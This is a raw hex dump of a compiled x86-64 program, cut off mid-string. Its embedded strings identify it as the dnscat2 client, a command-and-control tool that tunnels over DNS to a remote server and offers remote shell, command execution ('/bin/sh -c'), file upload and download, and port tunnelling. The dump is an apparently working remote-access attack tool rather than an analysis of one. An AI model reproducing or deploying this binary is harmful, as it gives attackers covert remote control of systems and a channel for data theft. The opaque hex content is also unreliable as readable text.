ff4883c418c3534889fb89f74883ec2064488b042528000000488944241831c08974240ce8060b0000488b4424186448330425280000008b74240c7405e823fafeff4883c4204889df5be96fffffff5389d34883ec1064488b042528000000488944240831c085d2741d83fa017507e84affffffeb1183fa027507e886ffffffeb05e87bfdfeff488b4c24086448330c252800000089d87405e8c7f9feff4883c4105bc341574156415541544989f455534889fb4881ec3820000064488b042528000000488984242820000031c0488b074c8d6c2428488b04f0488b50308b284885d20f8404010000482b50404531c0b9002000004c89ee89efe8e6fafeff488b1341b9556a410041b8300100004a8b14e2837a0401745985c079164c8b62204d85e40f84970100004c8b6a50e95c0100000f84720100004c8b42384c03424048984889c14c89ee4c89c7f3a4488b134e8b14e249034240493b42304889c149894240762e41b9856a410041b84b010000488b3d35ce2000b9f5694100baca554100be0100000031c0e8b7fbfeffe842f8feff0f8587010000498b4250498b523841b9ffff00004531c089ee4889df4889042441ff52104889df89c289eee88cfeffff488b034a8b04e0488b5038488b484031c04889d7f3aa488b034a8b04e048c7404000000000e933010000837804007552ba002000004c89ee89efe823f9feff4885c0488b1378734a8b14e20f84960000004c8b52104d85d20f84ff000000488b525041b9ffff00004531c04889c189ee4889df488914244c89ea41ffd2e9cf0000004c8d44241831c0b9040000004c8d4c2414ba002000004c89ee4c89c7c744241410000000f3ab89efe8f3f9feff4885c04989c7488b1379274a8b04e24c8b60204d85e474364c8b685031c0e8b70900004c89e989c289ee4889df41ffd4eb7075264a8b14e2488b42284885c0740d488b525089ee4889dfffd0eb5489ee4889dfe83cfdffffeb544a8b04e24c8b70104d85f67447488b50508b7c241c66448b64241a6641c1cc084889542408e84ff7feff488b5424084989c0450fb7cc4c89f989ee4889df488914244c89ea41ffd689c289ee4889dfe82ffdffff488b8424282000006448330425280000007405e82df7feff4881c4382000005b5d415c415d415e415fc34157b9e803000041564989fe415541545589f5534881eca801000064488b042528000000488984249801000031c089f0488d7c241899f7f969d2e80300004898488944240831c04863d24889542410ba100000004889d1fcf348ab4889d1488dbc2498000000fcf348ab4889d1488dbc2418010000fcf348ab4531e4bb400000004d3b66080f83a9000000498b064e8d3ce5000000004a8b04e083784c000f848800000048633841bd01000000e8b9f6feff4989c3498b064e8b14e049633a89f899f7fb4c89e888d148d3e04a0944dc1841837a48007524e88ef6feff4889c7498b064d89e84a8b04388b0099f7fb88d149d3e04c0984fc98000000498b064a8b0438486338e860f6feff4989c0498b06bf010000004a8b04388b0099f7fb88d148d3e74a09bcc41801000049ffc4e94dffffff85ed78074c8d442408eb034531c0418b4618488d8c2418010000488d942498000000488d7424188d7801e878f7feff83f8ff750cbfb26a4100e860080000eb0485c0740a31ed41bc40000000eb5d85ed0f88a1010000498b46204885c00f8494010000498b76284c89f7ffd0e986010000498b06488d1ced00000000488b04e883784c007530498b06488b041883784c000f8583000000498b06488b041883784c000f85d600000048ffc5493b6e0872c0e941010000486338e879f5feff4889c6498b06488b0ce8448b294489e89941f7fc488b44f418480fa3d073a9837904027527488b41184885c0749a488b51504489ee4c89f7ffd04489ee89c24c89f7e8ccfaffffe97cffffff4889ee4c89f7e811fbffffe96cffffff486338e815f5feff4889c7498b06488b0c188b3189f09941f7fc488b84fc98000000480fa3d00f8351ffffff488b41084885c0741c488b51504c89f7ffd0498b164c89f7488b0c1a89c28b31e866faffff498b06488b0418c7404801000000e919ffffff486338e8b1f4feff4889c7498b06488b0c188b3189f09941f7fc488b84fc18010000480fa3d00f83fefeffff4c8b69204d85ed743731c04c8b7950e810060000498b164c89f74c89f9488b341a89c28b3641ffd5498b164c89f7488b0c1a89c28b31e8ecf9ffffe9befeffff4c89f7e896f9ffffe9b1feffff488b8424980100006448330425280000007405e8d8f3feff4881c4a80100005b5d415c415d415e415fc3554889d5534883ec1864488b042528000000488944240831c0e851f4ffff4881fd0020000041b9d26a410041b867020000771a4885c04889c3747083780400742e41b9fc6a410041b86c020000488b3dbac82000b9f5694100baca554100be0100000031c0e83cf6feffe8c7f2feff48837830007413488b7838ba70020000bef5694100e8b4f3ffffba72020000bef56941004889efe8dbf1ffff48896b304889433848c743400000000031c04885db0f95c0488b4c24086448330c25280000007405e8fef2feff4883c4185b5dc34883ec18488b4f0831d264488b042528000000488944240831c04839ca7414488b37488b34d6837e4c014883d8ff48ffc2ebe7488b4c24086448330c25280000007405e8aff2feff4883c418c34883ec1864488b042528000000488944240831c0488b4424086448330425280000007405e881f2feff4883c418c341554189d5ba0600000041544189f4be01000000554889fdbf02000000534883ec2864488b042528000000488944241831c0e8a5f5feff83f8ff89c3750abf2e6b4100e8eb0400004585ed742331d2be0300000089df31c0e8dff1feff80cc08be0400000089df89c231c0e8ccf1feff4889efe854f3feff4885c04989c0751d488b3d3dc720004889e9ba4a6b4100be0100000031c0e8c1f4feffeb61488d6c240831c0b904000000496350144489e64889eff3ab498b4018488d7d0466c7442408020066c1ce08668974240a488b30b10ce805f3feffba100000004889ee89dfe856f4feff85c07917e80df1feff833873740dbf616b4100e89a03000083cbff488b4c24186448330c252800000089d87405e864f1feff4883c4285b5d415c415dc34883ec1864488b042528000000488944240831c0488b4424086448330425280000007405e830f1feff0fb7f631d24883c418e9a6feffff4883ec1864488b042528000000488944240831c0488b4424086448330425280000007405e8f9f0feffba00080000be0400000031c04883c418e9a4f0feff554889fab9040000005389f34883ec28488d6c240864488b042528000000488944241831c04889eff3ab4889d766c74424080200e8cbf1feff89de8944240c66c1ce08ffc0668974240a750abf7f6b4100e84503000031d2bf02000000be01000000e8ddf3feff85c089c3bf2e6b41007832ba100000004889ee89c7e893f2feff85c0790abfa16b4100e80c030000be1400000089dfe839f2feff85c0790abfbe6b4100e8f2020000488b4c24186448330c252800000089d87405e824f0feff4883c4285b5dc341544989f4554889d5534883ec20488d542404488d742408c74424041000000064488b042528000000488944241831c0e858f2feff85c089c3790abfdd6b4100e88f0200008b7c240ce8afeffeff668b4c240a4989042489d866c1c90866894d00488b4c24186448330c25280000007405e8a7effeff4883c4205b5d415cc34883ec1864488b042528000000488944240831c0488b4424086448330425280000007405e875effeff31c94883c418e99aeffeff4883ec1864488b042528000000488944240831c0488b4424086448330425280000007405e841effeff31c94883c418e986eefeff4883ec1864488b042528000000488944240831c0488b4424086448330425280000007405e80deffeff4883c418e994effeff534889fb4883ec1064488b042528000000488944240831c0e8f7eefeff85c00f85ab0000004889dfe817f0feff4885c07520488b3d13c42000bafd6b41004889d9be01000000e899f1feffba496c4100eb248b781085ff7532488b3decc32000ba706c4100be0100000031c0e873f1feffba626c4100488b3dcfc32000be0100000031c0e85bf1feffeb1ae864f1feff85c074114889debfba6c410031c0e89bebffffeb2131ffe848f1feff85c07520488b3d95c32000badb6c4100be01000000e81ef1feffbf01000000e8e4f0feff488b4424086448330425280000007405e81feefeff4883c4105bc34883ec1864488b042528000000488944240831c0e880edfeff488b5424086448331425280000008b007405e8e9edfeff4883c418c3554889fd534883ec1864488b042528000000488944240831c0e8adffffff89c789c3e8cdf0feff4885ed4989c07437488b4424086448330425280000007537488b3de6c220004883c4184d89c14189d84889e9bafa6c41005b5dbe0100000031c0e95ef0feff488b4424086448330425280000007405e869edfeff488b3daac220004883c41889d95b5dba0d6d4100be0100000031c0e929f0feff4883ec1864488b042528000000488944240831c0e84cffffffbf01000000e8d6effeff554889d54889fabf01000000534889f3be1b6d41004801dd4883ec1864488b042528000000488944240831c0e815effeff4839eb74190fb613be206d4100bf0100000031c048ffc3e8f9eefeffebe2488b4424086448330425280000007405e8c2ecfeff4883c418beec554100bf010000005b5d31c0e9cbeefeff4154ba110000004989f4be020000005589fdbf02000000534883ec2064488b042528000000488944241831c0c744240401000000e8d2effeff85c089c3790abf256d4100e819ffffff488d4c240441b804000000ba06000000be0100000089dfe8f6ebfeff85c0790abf416d4100e8effeffff4c89e7e850edfeff89ef8944240c66c7442408020066c1cf08ffc066897c240a750abf6a6d4100e8c3feffff488d742408ba1000000089dfe82beefeff85c0790abf8c6d4100e8a4feffff488b54241864483314252800000089d87405e8d6ebfeff4883c4205b5d415cc34883ec284989c84189fa64488b042528000000488944241831c04c89c7b9040000004c8d4c2414f3ab4489d7c744241410000000e894edfeff4885c07914bfc26d41004889442408e837feffff488b442408488b5424186448331425280000007405e866ebfeff4883c428c341564189d641554d89c541544989cc5589fd4889f7534889f34883ec2064488b042528000000488944241831c0e87fecfeff4885c04989c17520488b3d68c020004889d9ba4a6b4100be0100000031c083cbffe8e9edfeffeb63488d5c240831c0b9040000004489f24889dff3ab498b4118488d7c240c66c7442408020066c1ca08668954240a49635114488b30b10ce82cecfeff4989d831c941b9100000004c89ea4c89e689efe834ebfeff85c089c3790abfdd6d4100e85bfdffff488b7424186448333425280000004863c37405e88ceafeff4883c4205b5d415c415d415ec34883ec1864488b042528000000488944240831c0488b4424086448330425280000007405e856eafeff4883c418e9ddeafeff4883ec18488b561864488b042528000000488944240831c0488b47180fb652080fb6400829d0488b4c24086448330c25280000007405e812eafeff4883c418c34883ec18488b561864488b042528000000488944240831c0488b47180fb652080fb6400829d0488b4c24086448330c25280000007405e8d2e9feff4883c418c34883ec18bff56d410064488b042528000000488944240831c0e8e9e6ffff31ffe858ecfeff41564155415455534889fb4883ec20488b7f1064488b042528000000488944241831c04885ff740c4883c9fff2ae488d717beb05be73000000488d7c2410e8dc12ffff4885c04989c50f8446020000833bff7516b9c8724100baa4000000be086e4100bf246e4100eb1b488b5424104885d27516b9c8724100b2a6be086e4100bf346e4100e88ee9feff488b7b104885ff740e31c04883c9fff2ae488d417beb05b8730000004839c27616b9c8724100baa7000000be086e4100bf3f6e4100ebc4bf03000000e8653dffff48837b10004889c5751fbea96e41004889c7ba06000000e85841ffffbe2e0000004889efe8df42ffff4531f64531e44c3b6424107377438a74250040c0ee04400fb6c683f8097f0583c630eb0383c657400fb6f64889efe8ac42ffff438a74250083e60f400fb6c683f8097f0583c630eb0383c657400fb6f64889ef49ffc4e88442ffff4c3b642410498d460274194983c6044983fe3d760fbe2e0000004889efe86242ffff31c04989c6eb8248837b1000742bbe2e0000004889efe84742ffff488b731031c04883c9ff4889f7f2ae4889ef48f7d1488d51ffe89540ffff31f64889efe81f42ffff4889e64889efe83640ffff48813c24ff0000004989c47619b9c8724100bace000000be086e4100bfb06e4100e9a0feffff31d2be0001000031ffe862b6ffff4889c5e8edeafeff31d24898b90100000048f7b3a80000004c89e64889ef8b549328e865c3ffff488d7424084889efe8bed0ffff8b4b20488b53184989c64c89e6bfc66e410031c0e8f1e1ffff0fb753204c8b4424084c89f1488b73188b3be8f0fbffffbad7000000be086e41004c89f7e8b6e7ffffbad8000000be086e41004c89e7e8a4e7ffff4c89efbad9000000be086e4100e892e7ffff4889efe8fbbeffff488b4424186448330425280000007405e8fee6feff4883c4205b5d415c415d415ec34883ec184889f764488b042528000000488944240831c0e82dfdffff31c0e86411ffff31c0488b5424086448331425280000007405e8b7e6feff4883c418c341574989f74156415541544989fcbf03000000555331db4883ec2864488b042528000000488944241831c0e80a3bffff4989c6498b2f4839eb0f83d1000000e88ee5feff488b1048ffc3410fb6441cff8b04823c2e4188c575074839eb72e8eb054839eb720a4c89e6bfe96e4100eb254889542408e888e9feff488b08410fb6c5488b542408f644410110752f4c89e6bf236f410031c0e892e2ffff31c0488b4c24186448330c25280000000f848c000000e9820000004839eb731548ffc3410fb6441cff8b34824080fe2e4088f074e60fb6d0f64451011074b24180fd4077064183ed30eb044183ed373c40770583e830eb0383e8374488ee4c89f7c1e60409c6400fb6f6e8d23fffffe923ffffff488b44241864483304252800000075194883c4284c89f74c89fe5b5d415c415d415e415fe9c63dffffe874e5feff4883c4285b5d415c415d415e415fc3554889f5534889fb4883ec1864488b042528000000488944240831c04885f67477e86fe8feff4885c0750f4889debf626f4100e8a9e1ffffeb1c4889ee4889dfe850e6feff85c075114889debf926f4100e898dfffff31c0eb67ba41000000be086e41004889dfe888e4ffff4983c8ff4889c64889df31c04c89c1f2ae4889ef4889ca4c89c1f2ae48f7d2488d040ac60406004889f0eb29488b44240864483304252800000075294883c418488d7f06ba480000005b5dbe086e4100e933e4ffff488b5424086448331425280000007405e88fe4feff4883c4185b5dc341554889ce4889d74154554889cd534883ec1864488b042528000000488944240831c04c8b6c2440e868b3ffff4889ee4889c3bfbc6f410031c0e8d2deffff8b730c85f6743c8d46ff83f804772aff24c5a0724100bfdd6f4100eb41bff56f4100eb3abf0f704100eb33bf25704100eb2cbf40704100eb25bf53704100e98e0200000fb773106683fe01741dbf7470410031c0e86ce0ffffbfd370410031c0e860e0ffffe9a402000066837b1200750ebff770410031c0e848e0ffffebda488b432048c70424000000008b700883fe107536488b4018bf13714100488b3031c0e82cdeffff488b43204889e6488b4018488b380fb6400848890424e8d6fcffff4889c5e91102000083fe05755d488b4018bf2f714100488b3031c0e8f1ddffff488b4320498b7510488b4018488b38e8effdffff4885c04989c40f840d02000031c04c89e74883c9fff2ae4889e64c89e748f7d148ffc948890c24e876fcffffba340100004889c5eb6d83fe0f757a488b4018bf4d714100488b700831c0e88eddffff488b4320498b7510488b4018488b7808e88bfdffff4885c04989c40f84a901000031c04c89e74883c9fff2aebf6871410048f7d1488d71ff48893424e84dddffff4889e64c89e7e807fcffffba480100004889c5be086e41004c89e7e81be3ffffe93001000083fe017579bf0300000031ede81637ffff0fb77312488b7b20b9432b4100ba200000004989c4e804e2feff0fb743124839c573254889e8ba030000004c89e748c1e0054803432048ffc5488b70184883c609e8df3affffebd24c89e7e8434bffffbf8b7141000fb6f031c048893424e8b4dcffffba57010000e98200000083fe1cbfd47141000f859b000000bf0300000031ede88f36ffff0fb77312488b7b20b9832b4100ba200000004989c4e87de1feff0fb743124839c573254889e8ba0f0000004c89e748c1e0054803432048ffc5488b70184883c609e8583affffebd24c89e7e8bc4affffbfae7141000fb6f031c048893424e82ddcffffba67010000488b3c24be086e4100e841e0ffff488b0c244889c2be010000004c89e74889c5e8d047ffffeb0931c0e8edddffffeb344885ed742f488b34244885f674144889efe8420affff85c074084c89efe8a5f7ffffba7d010000be086e41004889efe8b2e1ffff4889dfe81bb9ffff31c0488b5424086448331425280000007405e81ce1feff4883c4185b5d415c415dc341574989f7be086e410041564189ce41554989fdbfb000000041544989d4ba88010000554c89c5534883ec284c894c240864488b042528000000488944241831c0e87bdfffff4c89e64889c3bff271410031c0e842dbffff31ff4c89e6e804f4ffff8903ffc04c8b4c2408750abf12724100e973010000450fb7f64889ef4c894b1844897320be2e7241004c896b084c897b10e8a9e1feff85c0b882724100be086e4100480f44e8ba9f0100004889efe8ebdfffff48c783a8000000000000004989c6be327241004889c7e8a1e2feff4885c04989c40f84ed000000488baba80000004883fd1f0f87dc000000be357241004c89e7e847e1feff85c07411be397241004c89e7e836e1feff85c07518488d4501488983a8000000c744ab2810000000e996000000be958041004c89e7e80de1feff85c07515488d4501488983a8000000c744ab280f000000eb70be3e7241004c89e7e8e7e0feff85c07515488d4501488983a8000000c744ab2805000000eb4abe987241004c89e7e8c1e0feff85c07515488d4501488983a8000000c744ab2801000000eb24be957241004c89e7e89be0feff85c07513488d4501488983a8000000c744ab281c000000be3272410031ffe902ffffffbab3010000be086e41004c89f7e8addfffff4883bba8000000007516bf4472410031c0e85adcffffbf01000000e8c6e1feff8b334889d931d24c89efe889e1ffff8b33ba083141004c89efe8e7e2ffff4889dabe9f2e41004c89efe807e4ffff8b33bac32b41004c89efe8ace3ffff488b4c24186448330c25280000004889d87405e8c1defeff4883c4285b5d415c415d415e415fc34883ec1864488b042528000000488944240831c0488b4424086448330425280000007405e889defeffbac6010000be086e41004883c418e9eddeffff534889fb4883ec1064488b042528000000488944240831c0e8b1f4ffff31c0e8e808ffff488b7b08be32000000e829e7ffffebf04883ec18bfd072410064488b042528000000488944240831c0e868d9ffff31c0e85c09ffff488b3dc6b320004885ff740731c0e858ffffff488b3dbbb320004885ff7405e885dfffff488b3d9ab320004885ff740fbaa6000000bedc724100e855deffff488b4424086448330425280000007405e8c9ddfeff31c04883c418e940dcffff4883ec184889f94c8b0558b32000488b3df1b220004989f1bae572410064488b042528000000488944240831c0be01000000e867e0feff31ffe830e0feff41564989fe41554189cd41544d89c4554889d5534889f34883ec2064488b042528000000488944241831c04d85c90f85b20100004885f60f8563010000beec554100bf01000000e854dffeffbe7b7d4100bf0100000031c0e843dffeffbe887d4100bf0100000031c0e832dffeffbe8b7d4100bf0100000031c0e821dffeffbecf7d4100bf0100000031c0e810dffeffbe887d4100bf0100000031c0e8ffdefeffbee57d4100bf0100000031c0e8eedefeffbe297e4100bf0100000031c0e8dddefeffbe6b7e4100bf0100000031c0e8ccdefeffbe887d4100bf0100000031c0e8bbdefeffbeaf7e4100bf0100000031c0e8aadefeffbe887d4100bf0100000031c0e899defeffbeca7e4100bf0100000031c0e888defeffbe887d4100bf0100000031c0e877defeffbe057f4100bf0100000031c0e866defeffbe887d4100bf0100000031c0e855defeffbe307f4100bf0100000031c0e844defeff31c0be737f4100bf01000000e833defeffbe887d4100bf0100000031c0e822defeffbe7b7d4100bf0100000031c0e811defeffbeec554100bf0100000031c0e800defeff4c8b0d81b120004d85c9753abf8b7f410031c0e802d9ffffbfc97f410031c0e8f6d8ffffbfed55410031c0e8ead8ffffbff27f410031c0e8ded8ffffbf01000000e84adefeffbe2f804100bf0100000031c04c894c2408450fb7ede8a0ddfeff4889dabe45804100bf0100000031c0e88cddfeff4889eabe53804100bf0100000031c0e878ddfeff4489eabe61804100bf0100000031c0e864ddfeff4c89e2be6f804100bf0100000031c0e850ddfeff4c8b4c240831c0be7d804100bf010000004c89cae837ddfeff488b4424186448330425280000004c8b4c24087405e8fddafeff4883c4204889de4889ea5b5d4d89e04489e94c89f7415c415d415ee9ccf9ffff4157415641be8b804100415541bd35000000415441bc9880410055534883ec284c8b3d5eb0200048897c24084889f7bea080410064488b042528000000488944241831c0e8f4dcfeff48c70424000000004889c34885db753e488b4424186448330425280000007405e86fdafeff488b3424488b7c24084883c4285b5d4c89e2410fb7cd4d89f0415c415d415e4d89f9415fe9c6fcffff803b0074bdbe3d0000004889dfe874dafeff4885c0747ac60000bea38041004889df488d6801e84bdbfeff85c07478be7a6b41004889dfe83adbfeff85c0746dbeaa8041004889dfe829dbfeff85c0750d4889efe87ddcfeff4189c5eb5cbeaf8041004889dfe80bdbfeff85c07443befc4a41004889dfe8fadafeff85c074374889debfb480410031c0e8f1d6ffffeb0cbfce80410031c0e8e3d6ffffbf01000000e84fdcfeff48892c24eb0d4989eceb084989eeeb034989efbea080410031ffe8e0dbfeff4889c3e9effeffff4883ec18ba98804100be5380410064488b042528000000488944240831c0bf01000000e870dbfeff488b4424086448330425280000007405e83bd9feffbad2040000be61804100bf0100000031c04883c418e941dbfeff9041574189ff41564989f641554989d541544c8d2588a1200055488d2d88a12000534c29e531db48c1fd034883ec08e8ddd7feff4885ed741e0f1f8400000000004c89ea4c89f64489ff41ff14dc4883c3014839eb75ea4883c4085b5d415c415d415e415fc366662e0f1f840000000000f3c3662e0f1f8400000000000f1f4000488d0551a520004885c0740a488b1031f6e90adbfeff31d2ebf5660f1f4400004889f24889febf01000000e940dafeff4883ec084883c408c30000000000000001000200636f6e74726f6c6c65722f7061636b65742e63005061636b657420697320746f6f206c6f6e673a20257a752062797465730a004572726f723a20756e6b6e6f776e206d65737361676520747970652028307825303278290a005061636b657420697320746f6f2073686f7274210a00417474656d7074656420746f207365742074686520276e616d6527206669656c64206f662061206e6f6e2d53594e206d6573736167650a00417474656d7074656420746f2073657420746865202769735f636f6d6d616e6427206669656c64206f662061206e6f6e2d53594e206d6573736167650a00417474656d7074656420746f2073657420656e6372797074696f6e206f7074696f6e7320666f722061206e6f6e2d454e43206d6573736167650a004572726f723a204f6e65206f6620746865207061636b65745f656e635f7365745f2a28292066756e6374696f6e73206861766520746f2062652063616c6c656421004572726f723a20556e6b6e6f776e20656e6372797074696f6e20737562747970653a20307825303478004572726f723a20556e6b6e6f776e206d65737361676520747970653a2025750a0054797065203d2053594e203a3a205b3078253034785d2073657373696f6e203d203078253034782c20736571203d203078253034782c206f7074696f6e73203d203078253034780054797065203d204d5347203a3a205b3078253034785d2073657373696f6e203d203078253034782c20736571203d203078253034782c2061636b203d203078253034782c2064617461203d20307825782062797465730054797065203d2046494e203a3a205b3078253034785d2073657373696f6e203d20307825303478203a3a2025730054797065203d2050494e47203a3a205b3078253034785d2064617461203d2025730054797065203d20454e43203a3a205b3078253034785d2073657373696f6e203d2030782530347800556e6b6e6f776e207061636b65742074797065210053594e0046494e0050494e4700454e4300556e6b6e6f776e2100556e6b6e6f776e0053657373696f6e2065737461626c6973686564210a00526563656976656420616e20756e657870656374656420656e6372797074696f6e207061636b657420666f7220746869732073746174653a203078253034782100526563656976656420616e20756e65787065637465642072656e65676f74696174696f6e2066726f6d207468652073657276657221004661696c656420746f2063616c63756c6174652061207368617265642073656372657420666f722072656e65676f74696174696f6e210053657276657220726573706f6e64656420746f2072652d6e65676f74696174696f6e20726571756573742120537769746368696e6720746f206e6577206b657973210052656365697665642061202573207061636b657420696e2073746174652025733b2069676e6f72696e67210052656365697665642061202573207061636b657420696e2073746174652025732100636f6e74726f6c6c65722f73657373696f6e2e63004661696c656420746f2067656e65726174652061206b657970616972210020280053657474696e672073657373696f6e2d3e6e616d6520746f2025730054686569722061757468656e74696361746f72207761732077726f6e67212054686174206c696b656c79206d65616e7320736f6d657468696e672077656972642069732068617070656e696e67206f6e20746865206e6577746f726b2e2e2e002a2a20506565722076657269666965642077697468207072652d73686172656420736563726574210a004661696c656420746f2063616c63756c617465206120736861726564207365637265742100456e637279707465642073657373696f6e2065737461626c69736865642120466f722061646465642073656375726974792c20706c6561736520766572696679207468652073657276657220616c736f20646973706c617973207468697320737472696e673a0a00496e2053455353494f4e5f53544154455f45535441424c49534845442c2072656365697665642061204d5347004261642041434b207265636569766564202825642062797465732061636b65643b20256420627974657320696e2074686520627566666572290042616420534551207265636569766564202845787065637465642025642c2072656365697665642025642900547269656420746f206b696c6c20612073657373696f6e2074686174277320616c726561647920646561643a2025640054686572652069736e277420656e6f75676820726f6f6d20696e20746869732070726f746f636f6c20746f20656e6372797074207061636b6574732100496e2050494e472c2073656e64696e6720612050494e47207061636b65742028257a64206279746573206f6620646174612e2e2e290054686520736572766572206469646e277420726573706f6e6420746f206f75722072652d6e65676f74696174696f6e2072657175657374212057616974696e672e2e2e00576f772c20746869732073657373696f6e206973206f6c64212054696d6520746f2072652d6e65676f746961746520656e6372797074696f6e206b6579732100496e2053455353494f4e5f53544154455f45535441424c49534845442c2073656e64696e672061204d5347207061636b65742028534551203d203078253034782c2041434b203d203078253034782c20257a64206279746573206f6620646174612e2e2e290053747265616d20636c6f73656400576f756e6420757020696e20616e20756e6b6e6f776e2073746174653a2030782578004f5554474f494e473a20005365727665722773207369676e6174757265207761732077726f6e67212049676e6f72696e672100494e434f4d494e473a2000526563656976656420616e20696c6c6567616c207061636b65743a00576520656e64656420757020696e20616e20696c6c6567616c2073746174653a20307825780052656365697665642046494e3a2028726561736f6e3a202725732729202d20636c6f73696e672073657373696f6e005741524e494e473a2053657474696e67206120637573746f6d2049534e2063616e2062652064616e6765726f757321004245464f52455f494e4954004245464f52455f41555448004e45570045535441424c49534845440000000000000000000000001d464100000000002946410000000000354641000000000039464100000000001e40410000000000636f6e74726f6c6c65722f636f6e74726f6c6c65722e6300547269656420746f206163636573732061206e6f6e2d6578697374656e742073657373696f6e20282573293a20256400546865726520617265206e6f206163746976652073657373696f6e73206c6566742120476f6f64627965210054686520736572766572206861736e27742072657475726e656420612076616c696420726573706f6e736520696e20746865206c61737420256420617474656d7074732e2e20636c6f73696e672073657373696f6e2e0000000000000000000000000000636f6e74726f6c6c65725f646174615f696e636f6d696e6700647269766572732f6472697665722e6300554e4b4e4f574e204452495645522054595045212028256420696e206472697665725f637265617465290a00554e4b4e4f574e204452495645522054595045212028256420696e206472697665725f64657374726f79290a00554e4b4e4f574e204452495645522054595045212028256420696e206472697665725f636c6f7365290a00554e4b4e4f574e204452495645522054595045212028256420696e206472697665725f646174615f7265636569766564290a00554e4b4e4f574e204452495645522054595045212028256420696e206472697665725f6765745f6f7574676f696e67290a00647269766572732f636f6d6d616e642f636f6d6d616e64735f74756e6e656c2e68005b54756e6e656c2025645d20636f6e6e656374696f6e20746f2025733a256420636c6f7365642062656361757365206f66206572726f7220256400436f6e6e656374696f6e206572726f72005b54756e6e656c2025645d20636f6e6e656374656420746f2025733a256421005b54756e6e656c2025645d20526563656976656420257a64206279746573206f6620646174612066726f6d207365727665723b20666f7277617264696e6720746f20636c69656e74005b54756e6e656c2025645d20636f6e6e656374696f6e20746f2025733a256420636c6f7365642062792074686520736572766572210053657276657220636c6f7365642074686520636f6e6e656374696f6e00476f74206120636f6d6d616e643a2000476f7420612070696e6720726571756573742120526573706f6e64696e6721004572726f72206f70656e696e672066696c6520666f722072656164696e6700647269766572732f636f6d6d616e642f636f6d6d616e64735f7374616e646172642e680054686572652077617320616e206572726f722072656164696e67207468652066696c65007762004572726f72206f70656e696e672066696c6520666f722077726974696e67005b54756e6e656c2025645d20636f6e6e656374696e6720746f2025733a25642e2e2e0054686520646e736361743220636c69656e7420636f756c646e277420636f6e6e65637420746f207468652072656d6f746520686f73742100436f756c646e27742066696e642074756e6e656c3a202564005b54756e6e656c2025645d20526563656976656420257a64206279746573206f6620646174612066726f6d20636c69656e743b20666f7277617264696e6720746f20736572766572005468652073657276657220747269656420746f20636c6f736520612074756e6e656c207468617420776520646f6e2774206b6e6f772061626f75743a202564005b54756e6e656c2025645d20636f6e6e656374696f6e20746f2025733a256420636c6f7365642062792074686520636c69656e743a20257300416e206572726f7220726573706f6e7365207761732072657475726e65643a202564202d3e20257300416e206572726f722072657175657374207761732073656e74202877656972643f293a202564202d3e20257300476f74206120636f6d6d616e64207061636b6574207468617420776520646f6e2774206b6e6f7720686f7720746f2068616e646c65210a004e6f7420696d706c656d656e746564207965742100526573706f6e73653a2000647269766572732f636f6d6d616e642f6472697665725f636f6d6d616e642e6300647269766572732f636f6d6d616e642f636f6d6d616e645f7061636b65742e63004f766572666c6f7720696e20636f6d6d616e645f7061636b65742100536f6d657468696e672077656e7420766572792077726f6e672077697468207468652062756666657220636c6173733b207468652077726f6e67206e756d626572206f66206279746573207765726520726561642100556e6b6e6f776e20636f6d6d616e645f69643a2030782530347800434f4d4d414e445f50494e47205b726571756573745d203a3a20726571756573745f69643a20307825303478203a3a20646174613a2025730a00434f4d4d414e445f50494e47205b726573706f6e73655d203a3a20726571756573745f69643a20307825303478203a3a20646174613a2025730a00434f4d4d414e445f5348454c4c205b726571756573745d203a3a20726571756573745f69643a20307825303478203a3a206e616d653a2025730a00434f4d4d414e445f5348454c4c205b726573706f6e73655d203a3a20726571756573745f69643a20307825303478203a3a2073657373696f6e5f69643a203078253034780a00434f4d4d414e445f45584543205b726571756573745d203a3a20726571756573745f69643a20307825303478203a3a206e616d653a202573203a3a20636f6d6d616e643a2025730a00434f4d4d414e445f45584543205b726573706f6e73655d203a3a20726571756573745f69643a20307825303478203a3a2073657373696f6e5f69643a203078253034780a00434f4d4d414e445f444f574e4c4f4144205b726571756573745d203a3a20726571756573745f69643a20307825303478203a3a2066696c656e616d653a2025730a00434f4d4d414e445f444f574e4c4f4144205b726573706f6e73655d203a3a20726571756573745f69643a20307825303478203a3a20646174613a20307825782062797465730a00434f4d4d414e445f55504c4f4144205b726571756573745d203a3a20726571756573745f69643a20307825303478203a3a2066696c656e616d653a202573203a3a20646174613a20307825782062797465730a00434f4d4d414e445f55504c4f4144205b726573706f6e73655d203a3a20726571756573745f69643a203078253034780a00434f4d4d414e445f53485554444f574e205b726571756573745d203a3a20726571756573745f6964203078253034780a00434f4d4d414e445f53485554444f574e205b726573706f6e73655d203a3a20726571756573745f6964203078253034780a00434f4d4d414e445f44454c4159205b726571756573745d203a3a20726571756573745f696420307825303478203a3a2064656c61792025640a00434f4d4d414e445f44454c4159205b726573706f6e73655d203a3a20726571756573745f6964203078253034780a0054554e4e454c5f434f4e4e454354205b726571756573745d203a3a20726571756573745f696420307825303478203a3a20686f7374202573203a3a20706f72742025640a0054554e4e454c5f434f4e4e454354205b726573706f6e73655d203a3a20726571756573745f696420307825303478203a3a2074756e6e656c5f69642025640a0054554e4e454c5f44415441205b726571756573745d203a3a20726571756573745f696420307825303478203a3a2074756e6e656c5f6964202564203a3a206461746120257a642062797465730a0054554e4e454c5f44415441205b726573706f6e73655d203a3a20726571756573745f696420307825303478203a3a20746869732073686f756c646e27742061637475616c6c792065786973740a0054554e4e454c5f434c4f5345205b726571756573745d203a3a20726571756573745f696420307825303478203a3a2074756e6e656c5f6964202564203a3a20726561736f6e2025730a0054554e4e454c5f434c4f5345205b726573706f6e73655d203a3a20726571756573745f696420307825303478203a3a20746869732073686f756c646e27742061637475616c6c792065786973740a00434f4d4d414e445f4552524f52205b726571756573745d203a3a20726571756573745f69643a20307825303478203a3a207374617475733a20307825303478203a3a20726561736f6e3a2025730a00434f4d4d414e445f4552524f52205b726573706f6e73655d203a3a20726571756573745f69643a20307825303478203a3a207374617475733a20307825303478203a3a20726561736f6e3a2025730a00647269766572732f6472697665725f636f6e736f6c652e630054686572652077617320612070726f626c656d2077726974696e6720646174612e203a2800647269766572732f6472697665725f657865632e63005374617274696e673a202f62696e2f7368202d63202725732700657865633a20636f756c646e2774206372656174652070697065202825642900657865633a20636f756c646e2774206372656174652070726f63657373202825642900657865633a20636f756c646e2774206475706c696361746520535444494e2068616e646c6500657865633a20636f756c646e2774206475706c6963617465205354444f55542068616e646c6500657865633a20636f756c646e2774206475706c6963617465205354444552522068616e646c65002d63002f62696e2f736800657865633a20657865636c70206661696c6564202825642900537461727465643a20257320287069643a20256429006578656320647269766572207368757420646f776e3b206b696c6c696e672070726f636573732025640050696e6720726573706f6e73652072656365697665642120546869732